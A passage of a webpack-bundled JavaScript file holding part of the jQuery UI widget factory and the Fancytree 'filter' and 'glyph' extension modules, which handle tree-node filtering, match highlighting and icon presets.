			this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow );
		}

		this.options = $.widget.extend( {},
			this.options,
			this._getCreateOptions(),
			options );

		this._create();

		if ( this.options.disabled ) {
			this._setOptionDisabled( this.options.disabled );
		}

		this._trigger( "create", null, this._getCreateEventData() );
		this._init();
	},

	_getCreateOptions: function() {
		return {};
	},

	_getCreateEventData: $.noop,

	_create: $.noop,

	_init: $.noop,

	destroy: function() {
		var that = this;

		this._destroy();
		$.each( this.classesElementLookup, function( key, value ) {
			that._removeClass( value, key );
		} );

		// We can probably remove the unbind calls in 2.0
		// all event bindings should go through this._on()
		this.element
			.off( this.eventNamespace )
			.removeData( this.widgetFullName );
		this.widget()
			.off( this.eventNamespace )
			.removeAttr( "aria-disabled" );

		// Clean up events and states
		this.bindings.off( this.eventNamespace );
	},

	_destroy: $.noop,

	widget: function() {
		return this.element;
	},

	option: function( key, value ) {
		var options = key;
		var parts;
		var curOption;
		var i;

		if ( arguments.length === 0 ) {

			// Don't return a reference to the internal hash
			return $.widget.extend( {}, this.options );
		}

		if ( typeof key === "string" ) {

			// Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
			options = {};
			parts = key.split( "." );
			key = parts.shift();
			if ( parts.length ) {
				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
				for ( i = 0; i < parts.length - 1; i++ ) {
					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
					curOption = curOption[ parts[ i ] ];
				}
				key = parts.pop();
				if ( arguments.length === 1 ) {
					return curOption[ key ] === undefined ? null : curOption[ key ];
				}
				curOption[ key ] = value;
			} else {
				if ( arguments.length === 1 ) {
					return this.options[ key ] === undefined ? null : this.options[ key ];
				}
				options[ key ] = value;
			}
		}

		this._setOptions( options );

		return this;
	},

	_setOptions: function( options ) {
		var key;

		for ( key in options ) {
			this._setOption( key, options[ key ] );
		}

		return this;
	},

	_setOption: function( key, value ) {
		if ( key === "classes" ) {
			this._setOptionClasses( value );
		}

		this.options[ key ] = value;

		if ( key === "disabled" ) {
			this._setOptionDisabled( value );
		}

		return this;
	},

	_setOptionClasses: function( value ) {
		var classKey, elements, currentElements;

		for ( classKey in value ) {
			currentElements = this.classesElementLookup[ classKey ];
			if ( value[ classKey ] === this.options.classes[ classKey ] ||
					!currentElements ||
					!currentElements.length ) {
				continue;
			}

			// We are doing this to create a new jQuery object because the _removeClass() call
			// on the next line is going to destroy the reference to the current elements being
			// tracked. We need to save a copy of this collection so that we can add the new classes
			// below.
			elements = $( currentElements.get() );
			this._removeClass( currentElements, classKey );

			// We don't use _addClass() here, because that uses this.options.classes
			// for generating the string of classes. We want to use the value passed in from
			// _setOption(), this is the new value of the classes option which was passed to
			// _setOption(). We pass this value directly to _classes().
			elements.addClass( this._classes( {
				element: elements,
				keys: classKey,
				classes: value,
				add: true
			} ) );
		}
	},

	_setOptionDisabled: function( value ) {
		this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value );

		// If the widget is becoming disabled, then nothing is interactive
		if ( value ) {
			this._removeClass( this.hoverable, null, "ui-state-hover" );
			this._removeClass( this.focusable, null, "ui-state-focus" );
		}
	},

	enable: function() {
		return this._setOptions( { disabled: false } );
	},

	disable: function() {
		return this._setOptions( { disabled: true } );
	},

	_classes: function( options ) {
		var full = [];
		var that = this;

		options = $.extend( {
			element: this.element,
			classes: this.options.classes || {}
		}, options );

		function bindRemoveEvent() {
			var nodesToBind = [];

			options.element.each( function( _, element ) {
				var isTracked = $.map( that.classesElementLookup, function( elements ) {
					return elements;
				} )
					.some( function( elements ) {
						return elements.is( element );
					} );

				if ( !isTracked ) {
					nodesToBind.push( element );
				}
			} );

			that._on( $( nodesToBind ), {
				remove: "_untrackClassesElement"
			} );
		}

		function processClassString( classes, checkOption ) {
			var current, i;
			for ( i = 0; i < classes.length; i++ ) {
				current = that.classesElementLookup[ classes[ i ] ] || $();
				if ( options.add ) {
					bindRemoveEvent();
					current = $( $.uniqueSort( current.get().concat( options.element.get() ) ) );
				} else {
					current = $( current.not( options.element ).get() );
				}
				that.classesElementLookup[ classes[ i ] ] = current;
				full.push( classes[ i ] );
				if ( checkOption && options.classes[ classes[ i ] ] ) {
					full.push( options.classes[ classes[ i ] ] );
				}
			}
		}

		if ( options.keys ) {
			processClassString( options.keys.match( /\S+/g ) || [], true );
		}
		if ( options.extra ) {
			processClassString( options.extra.match( /\S+/g ) || [] );
		}

		return full.join( " " );
	},

	_untrackClassesElement: function( event ) {
		var that = this;
		$.each( that.classesElementLookup, function( key, value ) {
			if ( $.inArray( event.target, value ) !== -1 ) {
				that.classesElementLookup[ key ] = $( value.not( event.target ).get() );
			}
		} );

		this._off( $( event.target ) );
	},

	_removeClass: function( element, keys, extra ) {
		return this._toggleClass( element, keys, extra, false );
	},

	_addClass: function( element, keys, extra ) {
		return this._toggleClass( element, keys, extra, true );
	},

	_toggleClass: function( element, keys, extra, add ) {
		add = ( typeof add === "boolean" ) ? add : extra;
		var shift = ( typeof element === "string" || element === null ),
			options = {
				extra: shift ? keys : extra,
				keys: shift ? element : keys,
				element: shift ? this.element : element,
				add: add
			};
		options.element.toggleClass( this._classes( options ), add );
		return this;
	},

	_on: function( suppressDisabledCheck, element, handlers ) {
		var delegateElement;
		var instance = this;

		// No suppressDisabledCheck flag, shuffle arguments
		if ( typeof suppressDisabledCheck !== "boolean" ) {
			handlers = element;
			element = suppressDisabledCheck;
			suppressDisabledCheck = false;
		}

		// No element argument, shuffle and use this.element
		if ( !handlers ) {
			handlers = element;
			element = this.element;
			delegateElement = this.widget();
		} else {
			element = delegateElement = $( element );
			this.bindings = this.bindings.add( element );
		}

		$.each( handlers, function( event, handler ) {
			function handlerProxy() {

				// Allow widgets to customize the disabled handling
				// - disabled as an array instead of boolean
				// - disabled class as method for disabling individual parts
				if ( !suppressDisabledCheck &&
						( instance.options.disabled === true ||
						$( this ).hasClass( "ui-state-disabled" ) ) ) {
					return;
				}
				return ( typeof handler === "string" ? instance[ handler ] : handler )
					.apply( instance, arguments );
			}

			// Copy the guid so direct unbinding works
			if ( typeof handler !== "string" ) {
				handlerProxy.guid = handler.guid =
					handler.guid || handlerProxy.guid || $.guid++;
			}

			var match = event.match( /^([\w:-]*)\s*(.*)$/ );
			var eventName = match[ 1 ] + instance.eventNamespace;
			var selector = match[ 2 ];

			if ( selector ) {
				delegateElement.on( eventName, selector, handlerProxy );
			} else {
				element.on( eventName, handlerProxy );
			}
		} );
	},

	_off: function( element, eventName ) {
		eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) +
			this.eventNamespace;
		element.off( eventName );

		// Clear the stack to avoid memory leaks (#10056)
		this.bindings = $( this.bindings.not( element ).get() );
		this.focusable = $( this.focusable.not( element ).get() );
		this.hoverable = $( this.hoverable.not( element ).get() );
	},

	_delay: function( handler, delay ) {
		function handlerProxy() {
			return ( typeof handler === "string" ? instance[ handler ] : handler )
				.apply( instance, arguments );
		}
		var instance = this;
		return setTimeout( handlerProxy, delay || 0 );
	},

	_hoverable: function( element ) {
		this.hoverable = this.hoverable.add( element );
		this._on( element, {
			mouseenter: function( event ) {
				this._addClass( $( event.currentTarget ), null, "ui-state-hover" );
			},
			mouseleave: function( event ) {
				this._removeClass( $( event.currentTarget ), null, "ui-state-hover" );
			}
		} );
	},

	_focusable: function( element ) {
		this.focusable = this.focusable.add( element );
		this._on( element, {
			focusin: function( event ) {
				this._addClass( $( event.currentTarget ), null, "ui-state-focus" );
			},
			focusout: function( event ) {
				this._removeClass( $( event.currentTarget ), null, "ui-state-focus" );
			}
		} );
	},

	_trigger: function( type, event, data ) {
		var prop, orig;
		var callback = this.options[ type ];

		data = data || {};
		event = $.Event( event );
		event.type = ( type === this.widgetEventPrefix ?
			type :
			this.widgetEventPrefix + type ).toLowerCase();

		// The original event may come from any element
		// so we need to reset the target on the new event
		event.target = this.element[ 0 ];

		// Copy original event properties over to the new event
		orig = event.originalEvent;
		if ( orig ) {
			for ( prop in orig ) {
				if ( !( prop in event ) ) {
					event[ prop ] = orig[ prop ];
				}
			}
		}

		this.element.trigger( event, data );
		return !( typeof callback === "function" &&
			callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false ||
			event.isDefaultPrevented() );
	}
};

$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
	$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
		if ( typeof options === "string" ) {
			options = { effect: options };
		}

		var hasOptions;
		var effectName = !options ?
			method :
			options === true || typeof options === "number" ?
				defaultEffect :
				options.effect || defaultEffect;

		options = options || {};
		if ( typeof options === "number" ) {
			options = { duration: options };
		} else if ( options === true ) {
			options = {};
		}

		hasOptions = !$.isEmptyObject( options );
		options.complete = callback;

		if ( options.delay ) {
			element.delay( options.delay );
		}

		if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
			element[ method ]( options );
		} else if ( effectName !== method && element[ effectName ] ) {
			element[ effectName ]( options.duration, options.easing, callback );
		} else {
			element.queue( function( next ) {
				$( this )[ method ]();
				if ( callback ) {
					callback.call( element[ 0 ] );
				}
				next();
			} );
		}
	};
} );

return $.widget;

} );


/***/ }),

/***/ 493:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jquery.fancytree.filter.js
 *
 * Remove or highlight tree nodes, based on a filter.
 * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/)
 *
 * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de)
 *
 * Released under the MIT license
 * https://github.com/mar10/fancytree/wiki/LicenseInfo
 *
 * @version 2.38.1
 * @date 2022-01-14T18:41:36Z
 */

(function (factory) {
	if (true) {
		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486), __webpack_require__(490)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
})(function ($) {
	"use strict";

	/*******************************************************************************
	 * Private functions and variables
	 */

	var KeyNoData = "__not_found__",
		escapeHtml = $.ui.fancytree.escapeHtml,
		exoticStartChar = "\uFFF7",
		exoticEndChar = "\uFFF8";
	function _escapeRegex(str) {
		return (str + "").replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
	}

	function extractHtmlText(s) {
		if (s.indexOf(">") >= 0) {
			return $("<div/>").html(s).text();
		}
		return s;
	}

	/**
	 * @description Marks the matching charecters of `text` either by `mark` or
	 * by exotic*Chars (if `escapeTitles` is `true`) based on `regexMatchArray`
	 * which is an array of matching groups.
	 * @param {string} text
	 * @param {RegExpMatchArray} regexMatchArray
	 */
	function _markFuzzyMatchedChars(text, regexMatchArray, escapeTitles) {
		// It is extremely infuriating that we can not use `let` or `const` or arrow functions.
		// Damn you IE!!!
		var matchingIndices = [];
		// get the indices of matched characters (Iterate through `RegExpMatchArray`)
		for (
			var _matchingArrIdx = 1;
			_matchingArrIdx < regexMatchArray.length;
			_matchingArrIdx++
		) {
			var _mIdx =
				// get matching char index by cumulatively adding
				// the matched group length
				regexMatchArray[_matchingArrIdx].length +
				(_matchingArrIdx === 1 ? 0 : 1) +
				(matchingIndices[matchingIndices.length - 1] || 0);
			matchingIndices.push(_mIdx);
		}
		// Map each `text` char to its position and store in `textPoses`.
		var textPoses = text.split("");
		if (escapeTitles) {
			// If escaping the title, then wrap the matchng char within exotic chars
			matchingIndices.forEach(function (v) {
				textPoses[v] = exoticStartChar + textPoses[v] + exoticEndChar;
			});
		} else {
			// Otherwise, Wrap the matching chars within `mark`.
			matchingIndices.forEach(function (v) {
				textPoses[v] = "<mark>" + textPoses[v] + "</mark>";
			});
		}
		// Join back the modified `textPoses` to create final highlight markup.
		return textPoses.join("");
	}
	$.ui.fancytree._FancytreeClass.prototype._applyFilterImpl = function (
		filter,
		branchMode,
		_opts
	) {
		var match,
			statusNode,
			re,
			reHighlight,
			reExoticStartChar,
			reExoticEndChar,
			temp,
			prevEnableUpdate,
			count = 0,
			treeOpts = this.options,
			escapeTitles = treeOpts.escapeTitles,
			prevAutoCollapse = treeOpts.autoCollapse,
			opts = $.extend({}, treeOpts.filter, _opts),
			hideMode = opts.mode === "hide",
			leavesOnly = !!opts.leavesOnly && !branchMode;

		// Default to 'match title substring (not case sensitive)'
		if (typeof filter === "string") {
			if (filter === "") {
				this.warn(
					"Fancytree passing an empty string as a filter is handled as clearFilter()."
				);
				this.clearFilter();
				return;
			}
			if (opts.fuzzy) {
				// See https://codereview.stackexchange.com/questions/23899/faster-javascript-fuzzy-string-matching-function/23905#23905
				// and http://www.quora.com/How-is-the-fuzzy-search-algorithm-in-Sublime-Text-designed
				// and http://www.dustindiaz.com/autocomplete-fuzzy-matching
				match = filter
					.split("")
					// Escaping the `filter` will not work because,
					// it gets further split into individual characters. So,
					// escape each character after splitting
					.map(_escapeRegex)
					.reduce(function (a, b) {
						// create capture groups for parts that comes before
						// the character
						return a + "([^" + b + "]*)" + b;
					}, "");
			} else {
				match = _escapeRegex(filter); // make sure a '.' is treated literally
			}
			re = new RegExp(match, "i");
			reHighlight = new RegExp(_escapeRegex(filter), "gi");
			if (escapeTitles) {
				reExoticStartChar = new RegExp(
					_escapeRegex(exoticStartChar),
					"g"
				);
				reExoticEndChar = new RegExp(_escapeRegex(exoticEndChar), "g");
			}
			filter = function (node) {
				if (!node.title) {
					return false;
				}
				var text = escapeTitles
						? node.title
						: extractHtmlText(node.title),
					// `.match` instead of `.test` to get the capture groups
					res = text.match(re);
				if (res && opts.highlight) {
					if (escapeTitles) {
						if (opts.fuzzy) {
							temp = _markFuzzyMatchedChars(
								text,
								res,
								escapeTitles
							);
						} else {
							// #740: we must not apply the marks to escaped entity names, e.g. `&quot;`
							// Use some exotic characters to mark matches:
							temp = text.replace(reHighlight, function (s) {
								return exoticStartChar + s + exoticEndChar;
							});
						}
						// now we can escape the title...
						node.titleWithHighlight = escapeHtml(temp)
							// ... and finally insert the desired `<mark>` tags
							.replace(reExoticStartChar, "<mark>")
							.replace(reExoticEndChar, "</mark>");
					} else {
						if (opts.fuzzy) {
							node.titleWithHighlight = _markFuzzyMatchedChars(
								text,
								res
							);
						} else {
							node.titleWithHighlight = text.replace(
								reHighlight,
								function (s) {
									return "<mark>" + s + "</mark>";
								}
							);
						}
					}
					// node.debug("filter", escapeTitles, text, node.titleWithHighlight);
				}
				return !!res;
			};
		}

		this.enableFilter = true;
		this.lastFilterArgs = arguments;

		prevEnableUpdate = this.enableUpdate(false);

		this.$div.addClass("fancytree-ext-filter");
		if (hideMode) {
			this.$div.addClass("fancytree-ext-filter-hide");
		} else {
			this.$div.addClass("fancytree-ext-filter-dimm");
		}
		this.$div.toggleClass(
			"fancytree-ext-filter-hide-expanders",
			!!opts.hideExpanders
		);
		// Reset current filter
		this.rootNode.subMatchCount = 0;
		this.visit(function (node) {
			delete node.match;
			delete node.titleWithHighlight;
			node.subMatchCount = 0;
		});
		statusNode = this.getRootNode()._findDirectChild(KeyNoData);
		if (statusNode) {
			statusNode.remove();
		}

		// Adjust node.hide, .match, and .subMatchCount properties
		treeOpts.autoCollapse = false; // #528

		this.visit(function (node) {
			if (leavesOnly && node.children != null) {
				return;
			}
			var res = filter(node),
				matchedByBranch = false;

			if (res === "skip") {
				node.visit(function (c) {
					c.match = false;
				}, true);
				return "skip";
			}
			if (!res && (branchMode || res === "branch") && node.parent.match) {
				res = true;
				matchedByBranch = true;
			}
			if (res) {
				count++;
				node.match = true;
				node.visitParents(function (p) {
					if (p !== node) {
						p.subMatchCount += 1;
					}
					// Expand match (unless this is no real match, but only a node in a matched branch)
					if (opts.autoExpand && !matchedByBranch && !p.expanded) {
						p.setExpanded(true, {
							noAnimation: true,
							noEvents: true,
							scrollIntoView: false,
						});
						p._filterAutoExpanded = true;
					}
				}, true);
			}
		});
		treeOpts.autoCollapse = prevAutoCollapse;

		if (count === 0 && opts.nodata && hideMode) {
			statusNode = opts.nodata;
			if (typeof statusNode === "function") {
				statusNode = statusNode();
			}
			if (statusNode === true) {
				statusNode = {};
			} else if (typeof statusNode === "string") {
				statusNode = { title: statusNode };
			}
			statusNode = $.extend(
				{
					statusNodeType: "nodata",
					key: KeyNoData,
					title: this.options.strings.noData,
				},
				statusNode
			);

			this.getRootNode().addNode(statusNode).match = true;
		}
		// Redraw whole tree
		this._callHook("treeStructureChanged", this, "applyFilter");
		// this.render();
		this.enableUpdate(prevEnableUpdate);
		return count;
	};

	/**
	 * [ext-filter] Dimm or hide nodes.
	 *
	 * @param {function | string} filter
	 * @param {boolean} [opts={autoExpand: false, leavesOnly: false}]
	 * @returns {integer} count
	 * @alias Fancytree#filterNodes
	 * @requires jquery.fancytree.filter.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.filterNodes = function (
		filter,
		opts
	) {
		if (typeof opts === "boolean") {
			opts = { leavesOnly: opts };
			this.warn(
				"Fancytree.filterNodes() leavesOnly option is deprecated since 2.9.0 / 2015-04-19. Use opts.leavesOnly instead."
			);
		}
		return this._applyFilterImpl(filter, false, opts);
	};

	/**
	 * [ext-filter] Dimm or hide whole branches.
	 *
	 * @param {function | string} filter
	 * @param {boolean} [opts={autoExpand: false}]
	 * @returns {integer} count
	 * @alias Fancytree#filterBranches
	 * @requires jquery.fancytree.filter.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.filterBranches = function (
		filter,
		opts
	) {
		return this._applyFilterImpl(filter, true, opts);
	};

	/**
	 * [ext-filter] Re-apply current filter.
	 *
	 * @returns {integer} count
	 * @alias Fancytree#updateFilter
	 * @requires jquery.fancytree.filter.js
	 * @since 2.38
	 */
	$.ui.fancytree._FancytreeClass.prototype.updateFilter = function () {
		if (
			this.enableFilter &&
			this.lastFilterArgs &&
			this.options.filter.autoApply
		) {
			this._applyFilterImpl.apply(this, this.lastFilterArgs);
		} else {
			this.warn("updateFilter(): no filter active.");
		}
	};

	/**
	 * [ext-filter] Reset the filter.
	 *
	 * @alias Fancytree#clearFilter
	 * @requires jquery.fancytree.filter.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.clearFilter = function () {
		var $title,
			statusNode = this.getRootNode()._findDirectChild(KeyNoData),
			escapeTitles = this.options.escapeTitles,
			enhanceTitle = this.options.enhanceTitle,
			prevEnableUpdate = this.enableUpdate(false);

		if (statusNode) {
			statusNode.remove();
		}
		// we also counted root node's subMatchCount
		delete this.rootNode.match;
		delete this.rootNode.subMatchCount;

		this.visit(function (node) {
			if (node.match && node.span) {
				// #491, #601
				$title = $(node.span).find(">span.fancytree-title");
				if (escapeTitles) {
					$title.text(node.title);
				} else {
					$title.html(node.title);
				}
				if (enhanceTitle) {
					enhanceTitle(
						{ type: "enhanceTitle" },
						{ node: node, $title: $title }
					);
				}
			}
			delete node.match;
			delete node.subMatchCount;
			delete node.titleWithHighlight;
			if (node.$subMatchBadge) {
				node.$subMatchBadge.remove();
				delete node.$subMatchBadge;
			}
			if (node._filterAutoExpanded && node.expanded) {
				node.setExpanded(false, {
					noAnimation: true,
					noEvents: true,
					scrollIntoView: false,
				});
			}
			delete node._filterAutoExpanded;
		});
		this.enableFilter = false;
		this.lastFilterArgs = null;
		this.$div.removeClass(
			"fancytree-ext-filter fancytree-ext-filter-dimm fancytree-ext-filter-hide"
		);
		this._callHook("treeStructureChanged", this, "clearFilter");
		// this.render();
		this.enableUpdate(prevEnableUpdate);
	};

	/**
	 * [ext-filter] Return true if a filter is currently applied.
	 *
	 * @returns {Boolean}
	 * @alias Fancytree#isFilterActive
	 * @requires jquery.fancytree.filter.js
	 * @since 2.13
	 */
	$.ui.fancytree._FancytreeClass.prototype.isFilterActive = function () {
		return !!this.enableFilter;
	};

	/**
	 * [ext-filter] Return true if this node is matched by current filter (or no filter is active).
	 *
	 * @returns {Boolean}
	 * @alias FancytreeNode#isMatched
	 * @requires jquery.fancytree.filter.js
	 * @since 2.13
	 */
	$.ui.fancytree._FancytreeNodeClass.prototype.isMatched = function () {
		return !(this.tree.enableFilter && !this.match);
	};

	/*******************************************************************************
	 * Extension code
	 */
	$.ui.fancytree.registerExtension({
		name: "filter",
		version: "2.38.1",
		// Default options for this extension.
		options: {
			autoApply: true, // Re-apply last filter if lazy data is loaded
			autoExpand: false, // Expand all branches that contain matches while filtered
			counter: true, // Show a badge with number of matching child nodes near parent icons
			fuzzy: false, // Match single characters in order, e.g. 'fb' will match 'FooBar'
			hideExpandedCounter: true, // Hide counter badge if parent is expanded
			hideExpanders: false, // Hide expanders if all child nodes are hidden by filter
			highlight: true, // Highlight matches by wrapping inside <mark> tags
			leavesOnly: false, // Match end nodes only
			nodata: true, // Display a 'no data' status node if result is empty
			mode: "dimm", // Grayout unmatched nodes (pass "hide" to remove unmatched node instead)
		},
		nodeLoadChildren: function (ctx, source) {
			var tree = ctx.tree;

			return this._superApply(arguments).done(function () {
				if (
					tree.enableFilter &&
					tree.lastFilterArgs &&
					ctx.options.filter.autoApply
				) {
					tree._applyFilterImpl.apply(tree, tree.lastFilterArgs);
				}
			});
		},
		nodeSetExpanded: function (ctx, flag, callOpts) {
			var node = ctx.node;

			delete node._filterAutoExpanded;
			// Make sure counter badge is displayed again, when node is beeing collapsed
			if (
				!flag &&
				ctx.options.filter.hideExpandedCounter &&
				node.$subMatchBadge
			) {
				node.$subMatchBadge.show();
			}
			return this._superApply(arguments);
		},
		nodeRenderStatus: function (ctx) {
			// Set classes for current status
			var res,
				node = ctx.node,
				tree = ctx.tree,
				opts = ctx.options.filter,
				$title = $(node.span).find("span.fancytree-title"),
				$span = $(node[tree.statusClassPropName]),
				enhanceTitle = ctx.options.enhanceTitle,
				escapeTitles = ctx.options.escapeTitles;

			res = this._super(ctx);
			// nothing to do, if node was not yet rendered
			if (!$span.length || !tree.enableFilter) {
				return res;
			}
			$span
				.toggleClass("fancytree-match", !!node.match)
				.toggleClass("fancytree-submatch", !!node.subMatchCount)
				.toggleClass(
					"fancytree-hide",
					!(node.match || node.subMatchCount)
				);
			// Add/update counter badge
			if (
				opts.counter &&
				node.subMatchCount &&
				(!node.isExpanded() || !opts.hideExpandedCounter)
			) {
				if (!node.$subMatchBadge) {
					node.$subMatchBadge = $(
						"<span class='fancytree-childcounter'/>"
					);
					$(
						"span.fancytree-icon, span.fancytree-custom-icon",
						node.span
					).append(node.$subMatchBadge);
				}
				node.$subMatchBadge.show().text(node.subMatchCount);
			} else if (node.$subMatchBadge) {
				node.$subMatchBadge.hide();
			}
			// node.debug("nodeRenderStatus", node.titleWithHighlight, node.title)
			// #601: also check for $title.length, because we don't need to render
			// if node.span is null (i.e. not rendered)
			if (node.span && (!node.isEditing || !node.isEditing.call(node))) {
				if (node.titleWithHighlight) {
					$title.html(node.titleWithHighlight);
				} else if (escapeTitles) {
					$title.text(node.title);
				} else {
					$title.html(node.title);
				}
				if (enhanceTitle) {
					enhanceTitle(
						{ type: "enhanceTitle" },
						{ node: node, $title: $title }
					);
				}
			}
			return res;
		},
	});
	// Value returned by `require('jquery.fancytree..')`
	return $.ui.fancytree;
}); // End of closure


/***/ }),

/***/ 494:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jquery.fancytree.glyph.js
 *
 * Use glyph-fonts, ligature-fonts, or SVG icons instead of icon sprites.
 * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/)
 *
 * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de)
 *
 * Released under the MIT license
 * https://github.com/mar10/fancytree/wiki/LicenseInfo
 *
 * @version 2.38.1
 * @date 2022-01-14T18:41:36Z
 */

(function (factory) {
	if (true) {
		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486), __webpack_require__(490)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
})(function ($) {
	"use strict";

	/******************************************************************************
	 * Private functions and variables
	 */

	var FT = $.ui.fancytree,
		PRESETS = {
			awesome3: {
				// Outdated!
				_addClass: "",
				checkbox: "icon-check-empty",
				checkboxSelected: "icon-check",
				checkboxUnknown: "icon-check icon-muted",
				dragHelper: "icon-caret-right",
				dropMarker: "icon-caret-right",
				error: "icon-exclamation-sign",
				expanderClosed: "icon-caret-right",
				expanderLazy: "icon-angle-right",
				expanderOpen: "icon-caret-down",
				loading: "icon-refresh icon-spin",
				nodata: "icon-meh",
				noExpander: "",
				radio: "icon-circle-blank",
				radioSelected: "icon-circle",
				// radioUnknown: "icon-circle icon-muted",
				// Default node icons.
				// (Use tree.options.icon callback to define custom icons based on node data)
				doc: "icon-file-alt",
				docOpen: "icon-file-alt",
				folder: "icon-folder-close-alt",
				folderOpen: "icon-folder-open-alt",
			},
			awesome4: {
				_addClass: "fa",
				checkbox: "fa-square-o",
				checkboxSelected: "fa-check-square-o",
				checkboxUnknown: "fa-square fancytree-helper-indeterminate-cb",
				dragHelper: "fa-arrow-right",
				dropMarker: "fa-long-arrow-right",
				error: "fa-warning",
				expanderClosed: "fa-caret-right",
				expanderLazy: "fa-angle-right",
				expanderOpen: "fa-caret-down",
				// We may prevent wobbling rotations on FF by creating a separate sub element:
				loading: { html: "<span class='fa fa-spinner fa-pulse' />" },
				nodata: "fa-meh-o",
				noExpander: "",
				radio: "fa-circle-thin", // "fa-circle-o"
				radioSelected: "fa-circle",
				// radioUnknown: "fa-dot-circle-o",
				// Default node icons.
				// (Use tree.options.icon callback to define custom icons based on node data)
				doc: "fa-file-o",
				docOpen: "fa-file-o",
				folder: "fa-folder-o",
				folderOpen: "fa-folder-open-o",
			},
			awesome5: {
				// fontawesome 5 have several different base classes
				// "far, fas, fal and fab" The rendered svg puts that prefix
				// in a different location so we have to keep them separate here
				_addClass: "",
				checkbox: "far fa-square",
				checkboxSelected: "far fa-check-square",
				// checkboxUnknown: "far fa-window-close",
				checkboxUnknown:
					"fas fa-square fancytree-helper-indeterminate-cb",
				radio: "far fa-circle",
				radioSelected: "fas fa-circle",
				radioUnknown: "far fa-dot-circle",
				dragHelper: "fas fa-arrow-right",
				dropMarker: "fas fa-long-arrow-alt-right",
				error: "fas fa-exclamation-triangle",
				expanderClosed: "fas fa-caret-right",
				expanderLazy: "fas fa-angle-right",
				expanderOpen: "fas fa-caret-down",
				loading: "fas fa-spinner fa-pulse",
				nodata: "far fa-meh",
				noExpander: "",
				// Default node icons.
				// (Use tree.options.icon callback to define custom icons based on node data)
				doc: "far fa-file",
				docOpen: "far fa-file",
				folder: "far fa-folder",
				folderOpen: "far fa-folder-open",
			},
			bootstrap3: {
				_addClass: "glyphicon",
				checkbox: "glyphicon-unchecked",
				checkboxSelected: "glyphicon-check",
				checkboxUnknown:
					"glyphicon-expand fancytree-helper-indeterminate-cb", // "glyphicon-share",
				dragHelper: "glyphicon-play",
				dropMarker: "glyphicon-arrow-right",
				error: "glyphicon-warning-sign",
				expanderClosed: "glyphicon-menu-right", // glyphicon-plus-sign
				expanderLazy: "glyphicon-menu-right", // glyphicon-plus-sign
				expanderOpen: "glyphicon-menu-down", // glyphicon-minus-sign
				loading: "glyphicon-refresh fancytree-helper-spin",
				nodata: "glyphicon-info-sign",
				noExpander: "",
				radio: "glyphicon-remove-circle", // "glyphicon-unchecked",
				radioSelected: "glyphicon-ok-circle", // "glyphicon-check",
				// radioUnknown: "glyphicon-ban-circle",
				// Default node icons.
				// (Use tree.options.icon callback to define custom icons based on node data)
				doc: "glyphicon-file",
				docOpen: "glyphicon-file",
				folder: "glyphicon-folder-close",
				folderOpen: "glyphicon-folder-open",
			},
			material: {
				_addClass: "material-icons",
				checkbox: { text: "check_box_outline_blank" },
				checkboxSelected: { text: "check_box" },
				checkboxUnknown: { text: "indeterminate_check_box" },
				dragHelper: { text: "play_arrow" },
				dropMarker: { text: "arrow-forward" },
				error: { text: "warning" },
				expanderClosed: { text: "chevron_right" },
				expanderLazy: { text: "last_page" },
				expanderOpen: { text: "expand_more" },
				loading: {
					text: "autorenew",
					addClass: "fancytree-helper-spin",
				},
				nodata: { text: "info" },
				noExpander: { text: "" },
				radio: { text: "radio_button_unchecked" },
				radioSelected: { text: "radio_button_checked" },
				// Default node icons.
				// (Use tree.options.icon callback to define custom icons based on node data)
				doc: { text: "insert_drive_file" },
				docOpen: { text: "insert_drive_file" },
				folder: { text: "folder" },
				folderOpen: { text: "folder_open" },
			},
		};

	function setIcon(node, span, baseClass, opts, type) {
		var map = opts.map,
			icon = map[type],
			$span = $(span),
			$counter = $span.find(".fancytree-childcounter"),
			setClass = baseClass + " " + (map._addClass || "");

		// #871 Allow a callback
		if (typeof icon === "function") {
			icon = icon.call(this, node, span, type);
		}
		// node.debug( "setIcon(" + baseClass + ", " + type + "): " + "oldIcon" + " -> " + icon );
